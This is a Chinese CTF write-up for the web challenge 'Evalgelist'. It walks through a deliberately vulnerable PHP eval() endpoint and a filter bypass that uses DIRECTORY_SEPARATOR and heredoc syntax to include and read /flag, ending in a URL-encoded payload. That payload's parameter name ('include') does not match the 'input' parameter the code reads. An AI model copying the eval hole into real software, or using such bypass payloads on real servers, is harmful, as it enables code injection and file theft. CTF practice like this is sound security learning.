Evalgelist

打开docker-entrypoint.sh文件

#!/bin/sh
rm -f /docker-entrypoint.sh
user=$(ls /home)
if [ "$DASFLAG" ]; then
    INSERT_FLAG="$DASFLAG"
    export DASFLAG=no_FLAG
    DASFLAG=no_FLAG
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    export FLAG=no_FLAG
    FLAG=no_FLAG
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    export GZCTF_FLAG=no_FLAG
    GZCTF_FLAG=no_FLAG
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi
echo $INSERT_FLAG | tee /flag
chmod 744 /flag
php-fpm & nginx &
echo "Running..."
tail -F /var/log/nginx/access.log /var/log/nginx/error.log

把flag写入了根目录,文件名就是flag

index.php

<?php
        if (isset($_GET['input'])) {
            echo '<div class="output">';
            $filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
            $cmd = $filtered . '();';
                        echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";
                        echo '<strong>Execution Result:</strong>' . "\n";
            echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';
            
            try {
                ob_start();
                eval($cmd);
                $result = ob_get_clean();
                
                if (!empty($result)) {
                    echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
                    echo htmlspecialchars($result);
                } else {
                    echo '<span class="success">✅ Function executed (no output)</span>';
                }
            } catch (Error $e) {
                echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
            } catch (Exception $e) {
                echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';
            }
            
            echo '</div>';
            echo '</div>';
        }
        ?>

代码审计

1.过滤'$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"]

2.我们的输入被拼接到();前面

提取信息

1.可用符号:'#','[]','{}','.','\','|','&','^','~','=','<>',';','_'

2.貌似只能构造无参函数

打开题目

现在就是想办法读取根目录下的flag文件,

首先考虑用什么函数读文件,括号被过滤了,我们现在只能用include和require

所以现在需要构造出include "/flag",后面拼接的();可以用#注释掉

"/flag"可以拆分成"/","flag"用"."拼接

"/"目录分隔符怎么过滤,在查找的时候找到一篇博客

https://www.cnblogs.com/timelesszhuang/p/3814878.html

上面提到

在 Windows 中,斜线(/)和反斜线(\)都可以用作目录分隔符,在linux上路径的分隔符是/,这就导致了一个问题,比如开发机器是windows,有一个图片上传程序,,而我们又使用了(\)作为文件分隔符,调试机器上指定的上传文件保存目录是:
define('ROOT',dirname(__FILE__)."\upload"),
在本地调试都很正常,但是上传到linux服务器的时候会发现会出错。
这个问题就是出在文件的分隔符上,windows上习惯性的使用\作为文件分隔符,但是在linux上人家是不认识这个标识的,人家只认识/,于是就要引入下面这个php内置变量了:DIRECTORY_SEPARATOR。
上面的写法可以改写为以下无错写法:
define('ROOT',dirname(__FILE__).DIRECTORY_SEPARATOR."upload");
这样就可以确保不会出错了。
例如discuz里面是这样写的:
define('S_ROOT',dirname(__FILE__).DIRECTORY_SEPARATOR);
回到问题本身上,DIRECTORY_SEPARATOR是一个返回跟操作系统相关的路径分隔符php内置命令,在windows上返回\,而在linux或者类unix上返回/,就是这么个区别,通常在定义包含文件路径或者上传保存目录的时候会用到。

所以DIRECTORY_SEPARATOR会被linux系统识别为"/"

所以现在payload为include DIRECTORY_SEPARATOR

但是这里过滤了引号,我们要怎么表示"flag"

找到了一个EOF(heredoc)语法

$string = <<<EOF这里是字符串内容可以包含多行文本EOF;

这里的EOF必须独占一行,用;和#注释掉后面的();就行

include DIRECTORY_SEPARATOR.<<<EOF
flag
EOF;#

由于有换行符我们进行url编码即可

?include=%69%6e%63%6c%75%64%65%20%44%49%52%45%43%54%4f%52%59%5f%53%45%50%41%52%41%54%4f%52%2e%3c%3c%3c%45%4f%46%0a%66%6c%61%67%0a%45%4f%46%3b%23
此作者没有提供个人介绍。
最后更新于 2025-07-23